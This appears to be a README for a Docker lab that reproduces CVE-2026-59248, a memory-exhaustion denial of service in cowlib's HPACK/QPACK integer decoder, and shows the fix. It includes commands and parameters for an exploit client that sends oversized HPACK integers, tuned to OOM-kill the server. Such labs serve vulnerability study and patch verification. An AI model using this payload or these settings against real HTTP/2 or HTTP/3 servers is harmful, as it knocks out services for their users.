Reproducible Docker lab for CVE-2026-59248: an HPACK/QPACK integer-decoder memory-exhaustion DoS in cowlib, with exploit client, Cowboy server, and Grafana metrics.
A resource-limitation vulnerability in ninenines cowlib (≥ 2.0.0, < 2.19.0) lets an unauthenticated remote HTTP/2 or HTTP/3 peer exhaust memory on the vulnerable server (or client) and cause a denial of service.
The HPACK and QPACK prefixed-integer decoder
cow_hpack_common:dec_big_int/3 (src/cow_hpack_common.hrl, invoked from
cow_hpack:decode/2 and cow_qpack:decode_field_section/3) reads
continuation octets until it finds one whose high bit is clear, evaluating
Int + (Value bsl M) at each step with the shift M growing by 7 per
octet. There is no limit on the number of continuation octets, on the
resulting bit width, or on the value — the decoder consumes whatever encoded
length the peer supplies. Because Erlang integers are immutable, every
intermediate Value bsl M and every accumulator update allocates a fresh
bignum whose digit width grows linearly with the octets processed so far;
summed over the whole decode, the transient allocation is O(n²) in the
encoded length.
A single maximal HPACK indexed representation carried in one HTTP/2
HEADERS + CONTINUATION frame pair — within Cowboy's default
max_frame_size_received — can force hundreds of megabytes of transient
allocation and garbage-collection churn before the resulting header-table
index is rejected as invalid. Repeated or concurrent connections multiply
the pressure and can drive the Erlang VM to memory exhaustion.
Cowlib is the HTTP parser used by Cowboy, RabbitMQ's management plugin, and other Erlang/Elixir HTTP/2 and HTTP/3 servers and clients, so any exposed endpoint that accepts HPACK or QPACK from an untrusted peer is reachable.
Fix: cowlib 2.19.0 adds a when M < 32 guard to dec_big_int/3,
rejecting oversized integers after a handful of octets.
This lab replays the attack (preface → SETTINGS → HEADERS → CONTINUATION
with an oversized 0xFF… HPACK integer) against a real Cowboy server and
captures the BEAM memory spike in Prometheus/Grafana — before and after
applying the patch.
exploit-client ──HTTP/2 (h2c)──▶ cowboy-server (cowboy 2.17.0 / cowlib 2.18.0, :8080)
│ /metrics (same listener)
▼
prometheus (:9090) ──scrape 2s──▶ grafana (:3000)
Cowboy pins an exact cowlib version: cowboy 2.17.0 ships the vulnerable
cowlib 2.18.0 (cowboy 2.18.0 bundles the fixed cowlib 2.19.0). This lab
forces cowlib with override: true so the vuln→fix demonstration is a
one-line change in server/mix.exs.
| Service | URL |
|---|---|
| Cowboy server | http://localhost:8080/ (HTTP/1.1 + HTTP/2 h2c) |
| Server /metrics | http://localhost:8080/metrics |
| Prometheus | http://localhost:9090/targets |
| Grafana | http://localhost:3000 (admin / admin) |
The Grafana dashboard "cowlib 2.18.0 HPACK memory DoS" is auto-provisioned (no manual data-source or panel setup).
# 1. Build images and start the server + observability stack
docker compose build
docker compose up -d cowboy-server prometheus grafana
# 2. Sanity checks
curl http://localhost:8080/ # -> OK
curl http://localhost:8080/metrics | grep erlang_vm_memory_processes_bytes_total
# 3. Let ~15s of baseline accumulate, then launch the concurrent exploit
# (default: 5 concurrent connections, each with a ~200KB HPACK bomb)
docker compose run --rm exploit-client
# 4. Watch the spike (the server stays up after the attack)
docker stats cowboy-server # live CLI view — memory + CPU
# Grafana: open http://localhost:3000 (admin/admin) — dashboard auto-provisioned.
# Panel 1 "ERLANG VM: Process memory" = BEAM process heaps only (the decoder)
# Panel 2 "ERLANG VM: Total memory" = system + processes allocator memory
# Panel 3 "CONTAINER: cgroup memory" = cowboy_container_memory_{used,peak,limit}
# NOTE: the first two panels only see the BEAM's own accounting, which peaks at
# ~150-200 MiB. `docker stats` shows the whole cgroup (allocator carriers, code,
# binaries, page cache), which reaches ~1 GiB — panel 3 reports that exact
# number, so it tracks `docker stats` one-for-one.
# Observed spike (100 conn × 512KB): processes_used 16 → 153 MiB (9×),
# container memory 87 → 256 MiB.
# To push the server to full OOM denial of service:
docker compose run --rm -e NUM_CONCURRENT=800 exploit-client
# (NUM_CONCURRENT=1500 drives container memory to the 1g limit even faster)
# Server is killed (exit 137) in ~10 seconds; restart with:
docker compose up -d cowboy-server
# If the server has already died, Prometheus simply stops getting scrapes, so
# Grafana's lines end at the crash. Set the dashboard time range to "Last 15
# minutes" to see the recorded climb; the peak is also kept in
# cowboy_container_memory_peak_bytes until the container restarts.
# The exploit service has `profiles: ["attack"]`, so `docker compose up -d`
# never auto-launches the attack.
# 5. Verify the fix: in server/mix.exs change
# {:cowlib, "2.18.0", override: true}
# to
# {:cowlib, "2.19.0", override: true}
# then rebuild and restart just the server (the memory line stays flat):
# docker compose build cowboy-server && docker compose up -d cowboy-server
# docker compose run --rm exploit-client
# 6. Tear down (the -v flag removes volumes, incl. Grafana dashboards)
docker compose down -v
Ports: the stack publishes host
8080(Cowboy),9090(Prometheus),3000(Grafana). Ensure these are free before starting, and re-run the exploit client withdocker compose run --rmeach time — the Compose service runs once and exits.
| Variable | Default | Effect |
|---|---|---|
PAYLOAD_CONTINUATIONS | 524288 | number of 0xFF octets in the HPACK integer (512 KB bomb; server's max_fragmented_header_block_size allows up to 1 MB). |
NUM_CONCURRENT | 100 | concurrent async connections — each stays alive decoding for ATTACK_KEEPALIVE_SECS. Increase to 200+ to reliably OOM (cross 1g) the server container. |
SOCKET_TIMEOUT | 15 | seconds for each connection handshake |
ATTACK_KEEPALIVE_SECS | 60 | how long each connection stays alive after sending |
SERVER_HOST / SERVER_PORT | cowboy-server / 8080 | target |
# single connection probe (fast, minimal effect):
docker compose run --rm -e PAYLOAD_CONTINUATIONS=50000 -e NUM_CONCURRENT=1 -e ATTACK_KEEPALIVE_SECS=10 exploit-client
# visible spike, server survives (~60 connections, 512KB each):
docker compose run --rm -e NUM_CONCURRENT=60 -e ATTACK_KEEPALIVE_SECS=25 exploit-client
# full OOM denial of service (800 connections, ~10s to exit 137):
docker compose run --rm -e NUM_CONCURRENT=800 exploit-client
# faster OOM (1500 connections):
docker compose run --rm -e NUM_CONCURRENT=1500 exploit-client
# run directly from the host (any Docker not needed):
SERVER_HOST=localhost python3 client/poc_http2.py
A payload larger than the server's
max_fragmented_header_block_size(1 MiB) is rejected before it reaches the decoder, and the client then seessocket.send() raised exceptionon the closed connection. KeepPAYLOAD_CONTINUATIONS≤ ~1,000,000 or raise the cap inserver/poc_server.exs(and rebuild) to match.
server/poc.exs)